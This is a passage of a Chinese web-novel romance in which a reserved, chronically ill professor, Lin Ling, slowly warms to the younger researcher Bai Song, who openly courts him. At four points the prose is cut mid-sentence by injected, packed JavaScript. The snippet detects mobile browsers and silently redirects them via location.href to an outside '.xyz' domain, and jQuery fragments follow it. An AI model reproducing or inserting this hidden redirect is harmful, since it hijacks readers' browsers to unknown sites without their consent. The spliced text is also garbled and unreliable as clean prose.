对着这张脸实在是很难抛下并专注……满脑子都是想亲,想堵住他的嘴,想抱住他把他镶进身体里,感觉总是想做一些出格的动作来破坏这单纯的氛围,让小教授平稳的表情管理出现一瞬间的失控。 白凇深吸一口气,一边在心里骂自己龌龊没出息一边倾身用手指出还没懂的地方,林泠一边应答着,也同样伸出手向他确认: “是这块知识没懂吗……?” 两个人的指尖在书本上撞在一起又迅速分开。 林泠清晰地听见自己心跳漏了一拍,寻思自己今天怎么了,是不是很久没问题的心肺功能又出什么问题了……怎么这么不规律呢。 他整理整理心情,再次细致温和地和白凇讲解完最后一个part。这次不管怎样白凇为了自己可以持续性骚扰教授都逼自己听完了,并且表达了自己对于林教授讲解的认可。 林泠冲他微笑了一下,然后拿起手机。 鸣泠:在吗。 林霏:在的 林霏:你身体出什么状况了吗?这么突然找我。 鸣泠:感觉今天心跳有点不对劲,是不是需要做一个心电图查查看 林霏:什么情况?你心脏不是好多年没出过问题了吗 林霏:你明天来我科室找我吧,我带你去做检查 林霏:主要是这个点门诊医生都下班了。 鸣泠:好,我明天来找你。 林霏是他p大医学系的同学,关系还可以,成绩也非常优秀,哪怕放在学校医学部也是相当出挑了。他为数不多几个朋友倒是都很优秀,能在需要帮助的时候施以援手。 他一直工作到八点多才起身收拾东西,而白凇也紧随其后。他看着林泠锁上办公室的门,等对方转过头的时候冲他绽出一个微笑:“走吧教授。” 林泠颔首。两人并排走出校门。听着自己和擂鼓一样的心跳林泠不禁皱起了眉头,手放在心口轻轻按压——这是什么情况? 他实在没经历过这种情况,一下子感到严峻了起来。 白凇似乎注意到了林泠的异常:“您身体不舒服吗?” 林泠这才回神,摇了摇头:“……没有。一点老毛病了,不碍事。” 等走到同一幢楼前林教授才知道白凇挑的房子就在他家楼上。 ——那特别巧了。 两人在电梯里分别,白凇笑着说:“明天见,教授。” 电梯门缓缓合上。林泠站在原地,感受自己心率失调带来的不适,手反复重复攥紧又放松的动作,一时间他居然有些如临大敌了起来——他的情绪是非常非常稳定的,打小就冲着自己想要从事的方向去努力,没有什么会动摇他的三观和意志,和朋友也是真心互相欣赏才会相处。 但是今天心脏跳得这么快,他没有体察到一点开心或者愤怒的情绪,只觉得一阵悸动扰得人心神不宁,超出了他的认知。他沉默良久,把按着心口的手移开,转身走进自己的屋子,关上。走廊重新归为安静。 “……你这到底是什么问题?”林霏拿着检查单皱起眉头,“你这也没出问题啊,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546541|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么就心率失调了,你的身体和前些年比好很多了……心肺功能也慢慢变好了。” 没问题? 林泠也不太能接受这个诊断,毕竟昨天的不适很真实,但是事实和检查单就摆在面前,两个人不信也得信。林霏并没有怀疑朋友嘴里所说的真实性,毕竟以此教授的性格他也是知道的,林泠本身也很在意自己的身体状况,如果不是比较重要的事情平时大多数时候也不会打扰他。 但是结果显示就是这样。林霏揉了揉眉心:“……我也确实看不出问题来。你要不再观察一下?如果再有出现再来找我。” 林泠叹了口气,也只好答应了。林霏嘟囔到:“总不可能是你一见钟情了吧?” 过得和和尚一样的林教授:“?” 这是他近六年听到的最扯的话。他迅速说道:“绝无可能。” “也是,就你这棵铁树,也不知道什么时候开花。”林霏感叹道,“你不会真的准备孤独终老吧?说真的你这么优质的基因不传承下去实在是太可惜了,实在不行你捐点。” 林泠严肃纠正:“……铁树是裸子植物,不开花。” 林霏一噎,随即失笑:“你还是这个脾气,这么多年也没见你改过。” “工作这么忙,没有生理性养胃就已经很不错了。”林泠无奈道,“天天看到组里的小年轻感觉自己都老了,根本就没有人家这么有朝气。” “27岁老什么老,这不是最好的年纪吗?而且你在上学的时候也没见你有什么朝气,虽然确实比现在好点。”林霏无奈道。 “你这才哪到哪。不要整天就知道工作,你怎么不去外头走走呢。感觉你导师对你终身大事真的很操心,上次不是还说要给你介绍对象吗?没成?” “……”林教授的表情多少有点一言难尽,嘴唇翕动片刻还是说,“她老人家自从她儿子结婚之后就很操心我……当时实在扛不住和那个女孩子见了一面,后来反馈说我人太闷了感觉和我处能憋死。” 林霏:“……真是毫不意外呢……” 林泠垂下眼睫说道:“27也不算年轻了,毕竟学术界更新换代总是很快的,总有后浪会扑上来。再说我从十七岁就开始从事研究,到现在都十年了怎么说都不算短了。工作什么的,主要还是讲究一个尽职尽责。” 主要是他生活中没有什么别的内容,也找不到别的可以排遣情绪的方式。 但是这句话他没有说出来,林霏估计也能听得懂。 “……唉,你啊。”林霏再次失笑。“过两天叫上陆离咱们哥仨一起出去喝一点吧,反正都这么久没见面了。” 林泠点头表示好。 他整理完报告单离开,叫了出租车回家。 虽然帝都这边打车真的很贵……但是他也是这么多年都扛不住过去那个坎儿。始终接受不了自己买车开车。林泠裹在后座的黑暗里暗自叹气。 这么些年他也确实太封闭自我了,每日埋头于工作,很少会挤出时间给自己。 或许他确实需要改变一些什么,林泠想。 他到了门口下车,有些不自在地扯了扯衣服的领口,抬起头,目光的终点注意到了一个熟悉的身影,一瞬间,刚平复的心跳一瞬又沸反盈天。 那人似乎也注意到了他的到来,带笑说了句什么。林泠根据口型依稀能分辨出些许。 “教授,午安。” 5. 第 5 章 林泠似乎是被自己的状态吓了一跳,嘴里爆发出一阵剧烈的呛咳,单薄的脊背因此剧烈地抖动。白凇看得一愣,连忙走上前去,听到林泠歇斯底里的呛咳,连忙扶住他。林教授本来心肺功能就孱弱不堪,咳嗽这几下已经隐隐让他眼前发黑。他下意识抓住身边人的手肘,低着头缓了一下才抬起头辨认是谁。 “……我没事……”林泠松开了白凇的手肘,“刚才一不小心呛到了。” 下意识地他退了一步拉开两个人之间的距离——起码在他的眼里这是很礼貌的。他总是不习惯依赖和麻烦别人,不管对方是谁多少都让他有些愧疚在身上。当他的目光和白凇相撞时,一瞬间他居然从对方那双流光溢彩的眼睛里面看出一丝心疼。 ……假的吧。 他一时间差点没控制住错愕的表情,扯出一个礼节性的微笑:“谢谢你。刚才真是麻烦你了。” 白凇听到这客气疏离的话默默在心里叹了一口气。想到他刚才的咳嗽没有任何液体堵塞的声音仅仅只是嘶哑的气音,既不是生病也不是被口水呛到了,而是来自经年累月某种器官的衰弱。 他犹豫了一下,还是问:“教授是肺不太好吗?” 夏日的阳光越是热烈就越衬得林泠苍白的脸色无处遁形。他对于这个问题不算惊讶——哪怕只看他瘦削的外表也都大致可以猜出来他的心肺功能肯定不怎么样。他点了点头:“是的。老毛病了,不打紧。” 白凇的担忧并没有随着这句敷衍的体面话而削减半分。但是他知道,以他们两个这么几天的交情,他要是继续追问下去就不礼貌了,这种越界行为显然对于他俩关系的发展没有好影响。尽管心里还有很多疑问他,还是按捺住自己关心则乱的心情,选择应答:“教授还是要注意身体——您是来办公的吗?我以为您今天不来了。” 林泠其实很庆幸他没有接着往下问——那些陈皮子烂谷子的往事不仅解释不清楚还会让别人徒增担忧。看到有台阶立刻顺势往下走:“是的。今天早上去见了一个朋友,所以来晚了。” 白凇点头表示明白。在林教授开步走时他也跟上来,在落后半步的地方跟从着。 某种意义上他也是在试探……林泠对他的接受程度。 林泠其实难免有点奇怪这人怎么整天跟着他,但他只是这样想了想,归根结底还是懒得深究——他生活里面的事情太多了,只要这种情况没有太过分的情况下他都无所谓,更何况他完全没有感受到恶意。 他将白凇这种行为理解为对于师长的亲近,作为教师,他想他应该包容。 白凇就这样在他的默许之下再次登堂入室,坐在对面笔耕不辍。林教授依然一板一眼地做着工作,批改学生的作业然后气到直揉眉心。 虽然这是全国最高学府的学生,但是如果拿他当年的水平和自我要求对比实在是不怎么能看。林泠其实也不确定自己对于学生的严格要求是否正确,虽然他其实很少给不及格,但是他总是会细细地将各种问题标注出来并要求学生进行修改。 ……也不知道有没有帮助,林教授想。感觉学生会偷偷在宿舍里面骂他。 陆续来了几个学生询问问题以及进行作业的修改。大学里面像林教授这样喜欢坐班的老师并不多,他的学生刚开始也惊讶于怎么每天都能看到他找到他,后来就习以为常了。 某些比较私人的缘由大概就是,林泠并不是很享受独居的生活。多少有点被逼无奈的情绪在里面——人类毕竟是社会性动物,也是需要从他人身上汲取能量的,长时间独处可能会引发各种心理疾病。 白凇一边做着项目相关的工作一边偷偷用余光观察着林教授。看着他批作业批到直皱眉头露出一丝少见的烦躁,看他和学生讲解时认真的侧脸,看他专注地在文件上写写画画。 林泠的声音实在是好听得紧,像是从活泉眼里面涌出的清冽山泉,在极端理智的控制下没什么情绪地流过。 等待着所有学生离开之后差不多已经傍晚了。白凇把最后一些思路发给项目组的同事,满足地叹了一口气。林教授依然在笔耕不辍,蓝色的眸子里带着温和的沉静。白凇看了一会儿,忽然说:“教授要一起去吃晚饭吗?” 林泠略微一愣,手上也停笔了。他经常忙起工作来不怎么吃晚饭,想起来对付几口想不起来就算了,买夜宵也是一样的。他其实胃并不好——胃毕竟是情绪器官,每天跟着他郁郁寡欢自然好不到哪里去。林教授时常也会用他学习的专业知识对自己最近的心理状态进行一个复盘,但可能是医者不自医的缘故,这并没有使他的状态好多少。 也或许是他太了解自己,没法从过去里面完全走出来。 这种一起去吃饭的邀请他差不多有三年没听过了——之前导师偶尔还是会叫他的,后来也是看出了他的脾气,渐渐地就不提醒了,让他自己安排。林泠眨了眨眼睛,一瞬间甚至有点怀念。 于是尽管他食欲并不是很高涨,还是答应了一声:“好。” 白凇发现自己的各种要求被慢慢地满足时无疑是感到幸福和快乐的。林教授和他一起进了食堂,站在窗口前简单挑了一两个菜就坐下来动筷子。 白凇似乎胃口比他好得多,只能说年轻人就是有朝气。 林教授自然是一点都不反感这种朝气。相反他很喜欢,所以经常会呆在学校里。似乎学生的阳光和青春可以给他暮气十足的人生多一些安慰。 两个人沉默着吃着饭,直到白凇开口:“汪教授是您的导师吗?” 林泠短暂地抬了一下头,回答道:“是的。你和他接触了?” 白凇低低笑了一声:“是的,感觉是一个很热心肠的老头——才没聊几句就问我愿不愿意让他帮忙介绍对象。” 已经被荼毒过的林教授:“……”他真是服了自家导师这个爱好了。 他心里有一点微妙的不舒服,不禁扶额:“……他就这样,你不要介意。他自己女儿结婚之后就特别热衷于为单身男女青年撮合对象。你敷衍他两句就好。” 白凇感受到了对方的一丝尴尬情绪,嘴角却有些压不住。 “没有介意,汪教授人很好。……话说他有没有给教授介绍过对象?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546542|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林教授回忆起这段不愉快的还被嫌弃了的相亲经历就脑袋嗡嗡响,顶着满头黑线硬着头皮回答道:“……有。” “见面了吗?” “……没有。最终是失败的。” 林教授抬头时从对方眼中看到了并无掩饰的惊讶。他顿了一下,然后解释:“……我对于谈恋爱没什么兴趣,对面女孩子也嫌我太闷了。” 白凇心下暗爽。 没有心上人,没谈过恋爱,单纯善良还温柔——只能说这种情况攻略还是很有希望的。 而且林泠在寡言少语的情况下愿意和他进行交流,本质上不就是一种偏爱吗? 他并没有让林泠的付出落到地上,依旧用两个人能听见的音量说:“可能是没缘分,想来应该不是教授的问题——这几天的相处感受您无疑是一个非常好的人。” 林泠听见这句话时正夹着米饭往嘴里送,听见之后手一抖又掉回盘子里——他这几天收到的良好评价是不是有点太多了。 搞得他一时有些不习惯。 “你没有感到不适就好,”林泠笑了笑,“我性格说不上有多好,谢谢你的认可。” 白凇也不知道什么时候能做到让林泠不再用这样官方客气的语言和他交流。每一句话都像是被棉花托举着送回了他嘴边。他安静了几分钟,忽然又笑着说:“可能是我和教授有点缘分?……感觉我会非常荣幸和您成为朋友。” 林泠的心跳在“缘分”二字出现的瞬间漏跳了一拍,又在“朋友”两个字上重重坠了坠。复杂的情绪上涌在舌底品出些不是滋味。但是又有一种没由来的欣喜在脑子旋转着,两厢博弈之下大脑着实停摆了一刻。他垂眼敛下自己的心神不宁,似乎斟酌了许久才轻声说: “如果你希望和愿意的话。” 幸福来得有点太突然了,白凇一时有点不敢相信。 朋友——朋友在林泠眼里应该是非常少见的存在吧,或许只有个位数,而这一句话是不是默认了他有资格成为那几分之一? “我当然是非常希望和愿意的,能和教授成为朋友是我的荣幸。” 声音里是掩饰不住的愉悦。林泠的心情似乎随着眼前人的状态受了影响,似乎也久违地咂摸出了一丝欢喜的味道。于是他笑了笑:“那很好了。也得感谢你的认可。” 很少有人真正愿意去接近他——虽然这副皮囊刚开始确实比较引人注意,但是在感受到他的沉默和冷淡后并没有几个人可以坚持。 很久没有体会过如此直白的好感了。 “那我以朋友的身份来教授家串门可以吗?” 林泠颔首:“可以的。” “而且其实你不用叫我教授的。你可以直接叫我的名字或者林泠,毕竟我们就实际情况来看应该是同事。” 白凇扬起神采看向林泠:“感觉叫教授会更尊敬一些。您毕竟是很优秀的,我作为晚辈叫尊称总是没问题的。” 那好吧。 毕竟有那么多人叫他林老师,早就已经习惯了——如果白凇想叫的话,多添一个人也无妨。 6. 第 6 章 项目组的事情其实并不轻松。白凇也不是能接受自己因为感情生活而放任自己把工作抛掷脑后的,在得到了可以串门的首肯之后便觉得没有必要一直呆在人家办公室里面,打了声招呼就去和项目组其他成员对接相关数据了。林泠自己一个人做完计划内的工作后合上电脑,走出门时却没有看见昨天还能看到的人影。他在心里叹了一口气,却又暗暗指责自己幼稚——昨天等了一次就觉得人家会天天等,这不是莫名其妙么。 他也实在是改不掉自己这个遇到点光源就忍不住想要凑上去的毛病。 他和之前一样沉默地穿过人群,在一声声的教授和老师中独自一人走回家。他楼上的灯已经亮着,他走回家,刚关上门似乎楼上就有些动静。当他刚刚在沙发上坐下来时,门口忽然传来一阵敲门声。 林教授微微一愣——会来找他的人可说不上很多。 难道是项目组的人吗?他走过去打开门。 结果又是他已经觉得熟悉的脸。林泠也是没想到问是几个小时之前问的,串门是他一到家就开始的。在呆滞的林教授开口之前白凇抢先说: “今天交流完之后感觉有些晚了就先回来了,没去找您。我买了一点莲雾,想给您拎一袋子。” 原来是这样。 其实按理来说白凇并没有义务去找他,他自己心里也清楚。但是白凇这么说,林泠心里还是开心的,有一种被珍重的感觉。他接下水果并表达了感谢,随即去给他倒水。白凇第二次来到这间屋子,程设自然没有什么很大的变化,唯独玄关处的白墙上面挂了一块板子,是那种柔软适合钉东西上前去的质地。林泠看见他在看着那块板子,主动解释说:“这个是我准备用来放标本的。房间里有点堆不下了。 放标本? 白凇捕捉到这一信息后自然是没打算放过,接过林泠递给他的茶杯之后问道:“教授是对生物很感兴趣吗?” 林泠的视线也跟随着他一起落到那块空空的板子上,回答道:“嗯。但是高考没选生物,后来基本上都在学习心理学,就没有怎么接触了。” 白凇没有追问他为什么,因为感觉多少有些越界了,而且个人选择什么的也不是三言两语就可以解释清楚的,难免牵扯出很多,或许哪一条根系就缠绕在不可触碰的禁区。面对自己喜欢的人自然是不敢大意轻心,没走一步都是小心翼翼。白凇只是略微沉默了一下就再次发问: “我可以看看老师做的标本吗?” 林泠抬起头。白凇几乎比他高出半个头,明晃晃十厘米的身高差,这让他每当看过去时都可以清晰看到他右眼正下方的一颗红痣。似乎是被那一星红色灼到了似的,他别开眼:“可以。都在我的房间里。” “我带你去看吧。” 在打开门之前白凇想象过各种各样的可能,但是真正打开之后他才感受到翻涌的吃惊——这里面和外面冷清至极的风格简直毫无关系,从墙纸到装修都是用的暖色,床榻也是用浅绿色做的,上面缀着一些植物元素的刺绣图案,看起来蓬松柔软。房间的所有墙上都挂满了各式各样的植物标本和一些照片,用木制相框裱装好,错落有致地分布着,有一种繁复的复古美。 书桌上是堆积如山的资料,有些甚至没有来得及收拾干净,有一些限定的杂乱。真正让人吃惊的是窗台上比客卧还要更加庞大的娃娃堆,每一个的质地看起来都价格不菲。 收集jellycat确实是在男性中相当冷门的一个爱好……白凇心想。他打量着墙角的懒人沙发和桂花树苗,沉浸在面对反差的震惊当中。林泠其实有一点微妙的不自在,可能是许久没有带领其他人参观自己的私人世界吧。 他性子实在是内敛,于是只把自己的温柔和幼稚的一面布置在自己身边的一亩三分地里。他并没有很喜欢那种冷淡苍白的简约装修风格,但是他有时间精力布置的范围真的很小,今天也仅仅是因为外泄的一小部分才引申出后面的展示。 他做的大部分标本以植物和蝴蝶为主。他有一段时间唯一的能让他出门的就是捉蝴蝶。他总是控制不住对这种脆弱的美动心,于是细心封存下来,一一展示在墙上。白凇小心翼翼伸出手试图去触碰落灰了的相框却又顿住,从半路收回。他收起惊讶的情绪,由衷地冲着林教授笑了:“特别特别美。” “很温暖的感觉……现在看来您的内心世界应该比外人看得会更加丰盈。” 林泠怔住了——丰盈?他几时得到过这样的评价呢。 哪怕是再欣赏他的人也只会夸他内核稳定,毕竟他不管从哪个方面来看都是一个颇为无趣的人。但他自己也没有太大的遗憾,毕竟决定投身学术研究本身就是牺牲和献祭。 没有付出谈不上回报,他也只会在熄灯的时候偶尔扒开胸口的血肉,沉默地看向自己空洞的胸腔,谈不上强壮的心跳一下一下震颤着。 他轻轻舔了一下嘴唇,轻声说:“您过誉了。” 白凇猜也能猜到他一定会推脱。他不在意这些——他看到这一切的时候虽然有一瞬间的惊讶,但是转瞬间就明白这是非常欧亨利的事情。 他第一眼看到林泠的时候就被吸引,源于他那美到无所保留的脸和身上那种纯粹干净的气息。这两者出现在同一个人身上时那种魅力几乎是无法拒绝的。 白凇虽然清清楚楚林泠的对自我的不认同会帮助他更好地接近和打动他,可是每当触及那双总是眸光淡淡的眼睛,他就忍不住去幻想它亮晶晶溢满笑容的样子。 他还是期待看到他发自内心的笑容。 “不,不算过誉。您是一个非常吸引人的人,我对您的接触和了解无一不彰显着这一点。” 林泠听得忍不住抿了抿嘴唇,手指按压揉动着下嘴唇,保持了很久的沉默。正当白凇以为自己是不是哪里说错了他不高兴了的时候却又兀然开口: “能让您感到开心我很荣幸。我一直觉得自己是一个枯燥无聊的人,听到您这么说我非常开心。” 哪怕是善意的谎言,他为了自己开心一下也选择了相信。 再怎么纠结明天都要继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546543|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续上班不是吗,他这样对自己说。不管怎么样应该也没有谁会撼动他的生活。 耳边忽然响起了林霏略带调侃的声音:“……你该不会是心动了吧?也不知道你这颗铁树什么时候会开花。” 铁树是裸子植物,不会开花。他再一次在心里面无表情地说。 “不管怎样我的夸赞确实出自真心,”白凇无奈道,“您看起来似乎对自己要求有些太高了,实际上您真的是完美到超乎想象。” 很多人都这样说……很多人。但是白凇的眼睛是亮着的,笑意盈然,眼眸里面泛起的波光让他忍不住又想用手抚一下心口,制止这不受控制的心跳。林泠终于发自内心地笑了笑:“……好,谢谢你。” 那种从心口漫上来的愉悦是如此的清晰,一时间几乎将他的脸点亮。白凇几乎要控制不住自己抱住他的冲动,脑子里只留下一个念头——他想吻那一双眼睛。 虽然让他自己感受到不齿,但是他依然无法控制地在生理上如此痴迷于他。他好想拥抱他,亲吻那双眼睛,把他亲到眼里泛光站不住脚,搂上他劲瘦的腰肢。想看他失态,想看他更大的情绪起伏和更多的诉说和坦白,想要握住他的手,去听对方因为自己而加速的心跳。 他觉得自己不能再继续想了。 似乎迅速地坦诚自己的心意会显得轻浮,会显得感情来之过易。可是喜欢就是喜欢,或许是他一直一帆风顺没有经历过风雨,但是他始终记得他母亲和他说的,“爱和勇气是这个世界上最美好最强大的事物。 于是他稍稍松了一点自己的禁制,转过头盯住林教授的眼睛: “教授,您真的没考虑过谈恋爱吗?” 这个问题来得实在是太突然,林泠甚至忘记掩饰自己的错愕。他几乎是仓皇地躲开白凇的目光,脑子一片空白甚至无法思考这个问题出现在这里的含义。 他想保持沉默,可是在他来得及阻止自己之前就已经听见了自己沙哑的声音:“……没往这个方向想过。如果有合适的话感觉也是可以尝试的。” 尝试什么?他难道是适合谈恋爱的人吗? 意料之中的回答,和林教授整理的数据和分析一样严谨且符合逻辑。白凇数着自己频率极快的心跳,一时间竟控制不住笑了。 “好的教授。”他说,“那我先回去了。” 林泠的脑子还没从刚才那句话里面转过来,木然地点点头,连再见都忘记说了,茫然地看着白凇走出门。他缓步走向沙发坐下来,看见桌子上面白凇带来的莲雾,犹豫了一下伸出手,拿出一个。 他或许应该拿去洗一洗……但是他最后还是直接放到嘴边咬了一口。 他很喜欢吃莲雾,尽管很多人都会抨击莲雾没什么甜味全是水,可是他一直对唇齿间的草木香情有独钟。他也不知道白凇是怎么猜到的,平日里高度清醒的大脑被那句话搅得混乱不堪。 耳边再次响起那句带笑的话。 “教授,您真的没考虑过谈恋爱吗?” 真的没考虑过吗…… 7. 第 7 章 主要是白凇说完这句话之后就迅速离开了,林泠独自一个人面对这句炸弹一样的问句,被震得心神不宁。 他试图劝说自己这不过是对方随口的一句玩笑话,同样的话他导师也问过他,但是他倒是问起的时候带着对他的无可奈何,白凇问的时候笑意斐然,眼底似乎有湖底沉淀的碎光,颜色偏浅得眸子很专注地盯着他,仅仅只是语气上面这种小小的区别,就足以让这两句话背后的含义天差地别。 口中的莲雾一时有些发涩。明明是这般汁水饱满的水果她却莫名感觉到干渴,放下水果盒子走进厨房,端起放凉的开水一饮而尽。 喝完之后他用力闭了闭眼,这才从刚才乱七八糟的情绪里面解脱出一丝理智。他坐到桌子前,沉思片刻,拿起笔作起了简易的分析。 专业知识让他现在冷静下来,将自己出现的所有情绪和身体变化都清晰罗列并结合分析,列出有可能的一些情况,分析将其中一些加以排除,最后大概捋清楚了一些最基本的头绪: 不出意外的话,应该是在遇见自己比较欣赏的个体并且受相关激素和荷尔蒙影响产生的一些类似于心动的身体反应,比如说心跳加速或者是心率失衡,出现紧张,慌张,迷茫和羞涩等不常见的情绪反应。 产生的原因让林泠很陌生,他换了一支笔,在心动两个字上面画了一个圈,然后一个箭头拉下来,干脆利落打了一个问号。 首先他不太明白自己的心动里面是否包含对方对他产生的性吸引——他从来不觉得自己是同性恋,也从来没觉得自己是异性恋,之前导师也有给他诊断过一下,他这种情况属于创伤后应激综合症中的一环,说的通俗一点就是童年父母不和以及被抛弃的经历让他有了心理阴影,对于两性关系甚至包括所有类别的亲密关系都始终怀有戒心,而心理上的问题也会影响到身体激素的调节,所以一直以来不管是面对男性还是女性——喜欢他的人真的很多且不分性别和体位,他对于对方投射过来的爱意始终无法给出应当给出的情绪回馈。他感觉那个充满感情的世界就好像和他隔离开来了,他共情不了也不知道究竟如何能得到和他们一样的感受。 既然情感上面无法给予任何人正向反馈,那么更别说别人和他提及性了。他面对自己的生理反应都很冷漠,感觉好像生理反应的存在好像膝跳反应一样是一种很低级的条件反射,仿佛和他大脑接不上线,甚至懒得自己解决只不过是花时间等它自己平复了就完事了。对待自己尚且如此,想让他对他人产生冲动就更不可能了。 他曾经安慰自己可能有些人天生就是会比别人在繁殖力上面存在劣势,他脑子这么聪明某些方面不行也是很正常的,反正不耽误他正常工作和学习他就不放在心上。 但是这几天就好像从来没有机会作妖的荷尔蒙终于找到了一个出口,激动无比地窜出来就是一个张牙舞爪,他的理智从来没见过这么莫名其妙的东西,一时间居然少见地阵脚大乱。 分析写到这里林泠卡了一下。 所以这到底是不是心动呢?很难说,也有可能只是单纯的那根神经憋疯了冲着一个他非常欣赏的个体开大。 林泠对自己那根神经一直都有很强的偏见,对于他的发春行为都会强行一巴掌拍回去,根本不带惯着的。此时此刻这种偏见也很难消除。 只能说他本人不管怎样对于白凇这个人都是很欣赏的——毕竟不管从哪个角度上看,白凇作为一个人类个体都是非常优秀且无可挑剔的:双商在线,脸无可挑剔,性格也阳光温柔,身材比例也好地惊人。一个非常完美的个体出现在他身边他出现欣赏情绪是很正常的,但是绝对谈不上仰慕,毕竟对方是晚辈。真的要在学术界地位上比个高下的话,他依然略高于白凇。 至于白凇问这句话大概率是向他表达好感。一般情况下来说谈恋爱这个概念里面同时会包括精神交流和生理交流。 首先对他来说和别人进行精神的深入交流简直和脱衣服裸奔没区别,生理交流更是仅仅想到这种可能他就毫不犹豫地锤了一下自己的脑子。 这太可怕了。 思虑再三他还是对于这个心动情绪持怀疑态度。毕竟他这个身体二十七年如一日地寡着,出点状况也是很正常的。 至于白凇。 林泠苦笑了一下。他才22岁,说白了这个年纪的男生想谈恋爱什么的都很正常,白凇这种条件至今都没谈过已经是很罕见了,更何况他小小年纪就去国外读书,那边的开放程度就更不用说了。大概率是要求过高和沉迷于学术对外界的事物接触不多,碰巧在一个自己认可的学术环境里面遇到了在外貌上比较出众的他,很有可能仅仅只是出于对师长的仰慕。白凇性格又外向,打直球也很正常。 小孩子闹着玩呢……他哪能陪着一起玩,耽误人家还给自己添加负担。 林教授有些忧愁地叹了口气。他顺手把草稿纸揉成一团扔进垃圾桶,站起身来决定不再继续纠结这件事情。进行这么大幅度的情绪起落确实让他感到有些疲惫,于是他拿上浴巾走进卫生间,准备今天早点睡。 等他关上灯爬上床,熟练从一大堆药里面按照不同剂量和品种分出七八颗和水吞下之后,又倒出两颗褪黑素软糖,咬下去的时候才想起来自己已经刷过牙了。 真是昏了头了。 他无奈只得认了,葡萄味带着让人舒适的甜味稍稍安抚低落的情绪——糖分能促使多巴胺的分泌,他非常非常嗜甜,几乎每天都要摄入大量糖分,用于情绪上面的调节。学术环境一直都是高压的,焦虑情绪无处不在抑郁情绪触手可得,哪怕他已经对这方面研究非常透彻了,负担都是客观存在的。 匹夫无罪,怀璧其罪。有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546544|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是人想把他往下拉,有的是人想往他身上泼脏水。哪怕从风险角度来看,他虽然不歧视同性恋,但是从这方面做文章确实容易有不好的影响。 哪怕他真的生出了什么破天荒的感情,于理也是不容的。 而且他是一个病人。林泠想。这种每天都需要在不同的时间段总共服用超过二十粒精神类处方药的生活是他的日常。 他还没有健全到适合进行“谈恋爱”这么一个情感充沛健康的活动当中。白凇挺好的,别耽误人家。 第二天的整个上午他都没有看到白凇,也和他有一定意识错开了有关系,不过能错开得这么彻底应该是双方都做出了努力。或许是白凇意识到自己说得话比较荒唐有些尴尬,这倒也没什么。年轻容易冲动都是正常的,他也从来不会想在这个方面给任何人难堪。晚上他又如同往常一样回了家,结果电梯打开的那个瞬间,他看见了站在他家门口的白凇。 楼道很黑,声控灯并没有亮起,不过不远处那个修长的人影似乎动了一下,然后手指并拢用指节重重敲了几下墙壁,然后声控灯亮起。 这声控灯着实有些年头了说不上明亮,但是白凇的眼睛透出的光一时似乎盖过了楼道光将他微微一灼。 他下意识问:“有什么事吗?” 白凇坦然地站在那里,说:“想来串门。一个人带着比较孤单,如果教授不嫌弃的话希望可以在你家坐坐。” 如果白凇把事情说得不清不楚那林泠就很方便将某些东西推拒掉处理掉,毕竟他这张脸给他带来的麻烦不是一星半点。 但是白凇实在是太坦然了。他直接就把自己的心思敞开给他看:我就是对你有好感,想和你相处。 林泠目光闪烁片刻,还是答应了:“……好。不过我工作处理比较忙,可能不一定顾得上你。” 白凇当然不在意这个。林泠用钥匙打开门,把电脑包放在桌子上,打开了客厅空调。他发现白凇一直看着他。他有些许不自在,像之前一样给白凇倒了水之后就飞快掏出电脑,重重把自己埋进各种教案里面,这才松了一口气。 白凇也并没有说什么,就静静地坐在他旁边看着手机。 两个人就这样安静的呆了一个半小时,白凇忽然说:“教授,要不休息一下吧?别太累了。” 林泠呆滞了一下,下意识点头说好,反应过来时真想给自己两个耳光。他在沙发上坐下想要闭目养神,身边的位置忽然陷了下去。他整个人一僵,缓缓把自己向后仰的头给掰了回来。 一时间两个人离得极近,身边那个人的体温隔着薄薄的衣服投过来,林泠只感觉自己整个心室都要被某种莫名的物质给撑炸了,一下一下颤着,像被敲响的大钟止不住的震颤。那是他理智的警钟。他的身体比他的脑子先一步意识到—— 